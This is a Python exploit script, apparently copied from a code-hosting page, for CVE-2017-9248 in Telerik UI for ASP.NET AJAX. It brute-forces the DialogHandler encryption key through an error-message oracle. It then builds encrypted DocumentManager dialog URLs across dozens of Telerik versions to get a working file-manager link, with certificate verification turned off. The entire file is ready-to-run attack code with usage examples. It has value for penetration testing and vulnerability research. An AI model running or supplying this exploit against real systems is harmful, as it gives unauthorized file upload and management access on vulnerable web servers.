376 lines
No EOL
15 KiB
Python
Executable file
376 lines
No EOL
15 KiB
Python
Executable file
# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
|
|
# Filename: dp_crypto.py
|
|
# Github: https://github.com/bao7uo/dp_crypto
|
|
# Date: 2018-01-23
|
|
|
|
# Exploit Author: Paul Taylor / Foregenix Ltd
|
|
# Website: http://www.foregenix.com/blog
|
|
|
|
# Version: Telerik UI for ASP.NET AJAX
|
|
# CVE: CVE-2017-9248
|
|
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness
|
|
|
|
# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
|
|
|
|
#!/usr/bin/python3
|
|
|
|
# Author: Paul Taylor / Foregenix Ltd
|
|
|
|
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
|
|
|
|
# dp_crypto - CVE-2017-9248 exploit
|
|
# Telerik.Web.UI.dll Cryptographic compromise
|
|
|
|
# Warning - no cert warnings,
|
|
# and verify = False in code below prevents verification
|
|
|
|
import sys
|
|
import base64
|
|
import requests
|
|
import re
|
|
import binascii
|
|
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
requests_sent = 0
|
|
char_requests = 0
|
|
|
|
|
|
def get_result(plaintext, key, session, pad_chars):
|
|
global requests_sent, char_requests
|
|
|
|
url = sys.argv[2]
|
|
base_pad = (len(key) % 4)
|
|
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
|
|
dp_encrypted = base64.b64encode(
|
|
(encrypt(plaintext, key) + base).encode()
|
|
).decode()
|
|
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
|
|
request = request.prepare()
|
|
response = session.send(request, verify=False)
|
|
requests_sent += 1
|
|
char_requests += 1
|
|
|
|
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
|
|
return True \
|
|
if match is not None \
|
|
and match.group(2) == "Index was outside the bounds of the array." \
|
|
else False
|
|
|
|
|
|
def test_keychar(keychar, found, session, pad_chars):
|
|
base64chars = [
|
|
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
|
|
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
|
|
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
|
|
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
|
|
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
|
|
"P", "f", "v", "/"
|
|
]
|
|
|
|
duff = False
|
|
accuracy_thoroughness_threshold = sys.argv[5]
|
|
for bc in range(int(accuracy_thoroughness_threshold)):
|
|
# ^^ max is len(base64chars)
|
|
sys.stdout.write("\b\b" + base64chars[bc] + "]")
|
|
sys.stdout.flush()
|
|
if not get_result(
|
|
base64chars[0] * len(found) + base64chars[bc],
|
|
found + keychar, session, pad_chars
|
|
):
|
|
duff = True
|
|
break
|
|
return False if duff else True
|
|
|
|
|
|
def encrypt(dpdata, key):
|
|
encrypted = []
|
|
k = 0
|
|
for i in range(len(dpdata)):
|
|
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
|
|
k = 0 if k >= len(key) - 1 else k + 1
|
|
return ''.join(str(e) for e in encrypted)
|
|
|
|
|
|
def mode_decrypt():
|
|
ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
|
|
key = sys.argv[3]
|
|
print(base64.b64decode(encrypt(ciphertext, key)).decode())
|
|
print("")
|
|
|
|
|
|
def mode_encrypt():
|
|
plaintext = sys.argv[2]
|
|
key = sys.argv[3]
|
|
|
|
plaintext = base64.b64encode(plaintext.encode()).decode()
|
|
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
|
|
print("")
|
|
|
|
|
|
def test_keypos(key_charset, unprintable, found, session):
|
|
pad_chars = ''
|
|
for pad_char in range(256):
|
|
pad_chars += chr(pad_char)
|
|
|
|
for i in range(len(pad_chars)):
|
|
for k in range(len(key_charset)):
|
|
keychar = key_charset[k]
|
|
sys.stdout.write("\b"*6)
|
|
sys.stdout.write(
|
|
(
|
|
keychar
|
|
if unprintable is False
|
|
else '+'
|
|
) +
|
|
") [" + (
|
|
keychar
|
|
if unprintable is False
|
|
else '+'
|
|
) +
|
|
"]"
|
|
)
|
|
sys.stdout.flush()
|
|
if test_keychar(keychar, found, session, pad_chars[i] * 3):
|
|
return keychar
|
|
return False
|
|
|
|
|
|
def get_key(session):
|
|
global char_requests
|
|
found = ''
|
|
unprintable = False
|
|
|
|
key_length = sys.argv[3]
|
|
key_charset = sys.argv[4]
|
|
if key_charset == 'all':
|
|
unprintable = True
|
|
key_charset = ''
|
|
for i in range(256):
|
|
key_charset += chr(i)
|
|
else:
|
|
if key_charset == 'hex':
|
|
key_charset = '01234567890ABCDEF'
|
|
|
|
print("Attacking " + sys.argv[2])
|
|
print(
|
|
"to find key of length [" +
|
|
str(key_length) +
|
|
"] with accuracy threshold [" +
|
|
sys.argv[5] +
|
|
"]"
|
|
)
|
|
print(
|
|
"using key charset [" +
|
|
(
|
|
key_charset
|
|
if unprintable is False
|
|
else '- all ASCII -'
|
|
) +
|
|
"]\n"
|
|
)
|
|
for i in range(int(key_length)):
|
|
pos_str = (
|
|
str(i + 1)
|
|
if i > 8
|
|
else "0" + str(i + 1)
|
|
)
|
|
sys.stdout.write("Key position " + pos_str + ": (------")
|
|
sys.stdout.flush()
|
|
keychar = test_keypos(key_charset, unprintable, found, session)
|
|
if keychar is not False:
|
|
found = found + keychar
|
|
sys.stdout.write(
|
|
"\b"*7 + "{" +
|
|
(
|
|
keychar
|
|
if unprintable is False
|
|
else '0x' + binascii.hexlify(keychar.encode()).decode()
|
|
) +
|
|
"} found with " +
|
|
str(char_requests) +
|
|
" requests, total so far: " +
|
|
str(requests_sent) +
|
|
"\n"
|
|
)
|
|
sys.stdout.flush()
|
|
char_requests = 0
|
|
else:
|
|
sys.stdout.write("\b"*7 + "Not found, quitting\n")
|
|
sys.stdout.flush()
|
|
break
|
|
if keychar is not False:
|
|
print("Found key: " +
|
|
(
|
|
found
|
|
if unprintable is False
|
|
else "(hex) " + binascii.hexlify(found.encode()).decode()
|
|
)
|
|
)
|
|
print("Total web requests: " + str(requests_sent))
|
|
return found
|
|
|
|
|
|
def mode_brutekey():
|
|
session = requests.Session()
|
|
found = get_key(session)
|
|
|
|
if found == '':
|
|
return
|
|
else:
|
|
urls = {}
|
|
url_path = sys.argv[2]
|
|
params = (
|
|
'?DialogName=DocumentManager' +
|
|
'&renderMode=2' +
|
|
'&Skin=Default' +
|
|
'&Title=Document%20Manager' +
|
|
'&dpptn=' +
|
|
'&isRtl=false' +
|
|
'&dp='
|
|
)
|
|
versions = [
|
|
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
|
|
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
|
|
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
|
|
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
|
|
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
|
|
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
|
|
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
|
|
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
|
|
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
|
|
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
|
|
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
|
|
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
|
|
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
|
|
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
|
|
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
|
|
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
|
|
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
|
|
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
|
|
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
|
|
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
|
|
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
|
|
'2017.3.913'
|
|
]
|
|
|
|
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
|
|
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
|
|
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
|
plaintext3 = ';AllowMultipleSelection,False,3,False'
|
|
|
|
for version in versions:
|
|
plaintext2_raw2 = version
|
|
plaintext2 = base64.b64encode(
|
|
(plaintext2_raw1 +
|
|
plaintext2_raw2 +
|
|
plaintext2_raw3
|
|
).encode()
|
|
).decode()
|
|
plaintext = plaintext1 + plaintext2 + plaintext3
|
|
plaintext = base64.b64encode(
|
|
plaintext.encode()
|
|
).decode()
|
|
ciphertext = base64.b64encode(
|
|
encrypt(
|
|
plaintext,
|
|
found
|
|
).encode()
|
|
).decode()
|
|
full_url = url_path + params + ciphertext
|
|
urls[version] = full_url
|
|
|
|
found_valid_version = False
|
|
for version in urls:
|
|
url = urls[version]
|
|
request = requests.Request('GET', url)
|
|
request = request.prepare()
|
|
response = session.send(request, verify=False)
|
|
if response.status_code == 500:
|
|
continue
|
|
else:
|
|
match = re.search(
|
|
"(Error Message:)(.+\n*.+)(</div>)",
|
|
response.text
|
|
)
|
|
if match is None:
|
|
print(version + ": " + url)
|
|
found_valid_version = True
|
|
break
|
|
|
|
if not found_valid_version:
|
|
print("No valid version found")
|
|
|
|
def mode_samples():
|
|
print("Samples for testing decryption and encryption functions:")
|
|
print("-d ciphertext key")
|
|
print("-e plaintext key")
|
|
print("")
|
|
print("Key:")
|
|
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
|
|
print("")
|
|
print("Plaintext:")
|
|
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
|
|
print("")
|
|
print("Ciphertext:")
|
|
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
|
|
print("")
|
|
|
|
|
|
def mode_b64e():
|
|
print(base64.b64encode(sys.argv[2].encode()).decode())
|
|
print("")
|
|
|
|
|
|
def mode_b64d():
|
|
print(base64.b64decode(sys.argv[2].encode()).decode())
|
|
print("")
|
|
|
|
|
|
def mode_help():
|
|
print("Usage:")
|
|
print("")
|
|
print("Decrypt a ciphertext: -d ciphertext key")
|
|
print("Encrypt a plaintext: -e plaintext key")
|
|
print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
|
|
print("Encode parameter to base64: -b plain_parameter")
|
|
print("Decode base64 parameter: -p encoded_parameter")
|
|
print("")
|
|
print("To test all ascii characters set key_charset to: all, " +
|
|
"for upper case hex (e.g. machine key) set to hex.")
|
|
print("")
|
|
print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
|
|
"accuracy of 9 will usually suffice for a hex, but 21 or more " +
|
|
"might be needed when testing all ascii characters.")
|
|
print("Increase the accuracy argument if no valid version is found.")
|
|
print("")
|
|
print("Examples to generate a valid file manager URL:")
|
|
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
|
|
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
|
|
print("")
|
|
|
|
|
|
sys.stderr.write(
|
|
"\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
|
|
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
|
|
)
|
|
|
|
if len(sys.argv) < 2:
|
|
mode_help()
|
|
|
|
elif sys.argv[1] == "-d" and len(sys.argv) == 4:
|
|
mode_decrypt()
|
|
elif sys.argv[1] == "-e" and len(sys.argv) == 4:
|
|
mode_encrypt()
|
|
elif sys.argv[1] == "-k" and len(sys.argv) == 6:
|
|
mode_brutekey()
|
|
elif sys.argv[1] == "-s" and len(sys.argv) == 2:
|
|
mode_samples()
|
|
elif sys.argv[1] == "-b" and len(sys.argv) == 3:
|
|
mode_b64e()
|
|
elif sys.argv[1] == "-p" and len(sys.argv) == 3:
|
|
mode_b64d()
|
|
else:
|
|
mode_help() |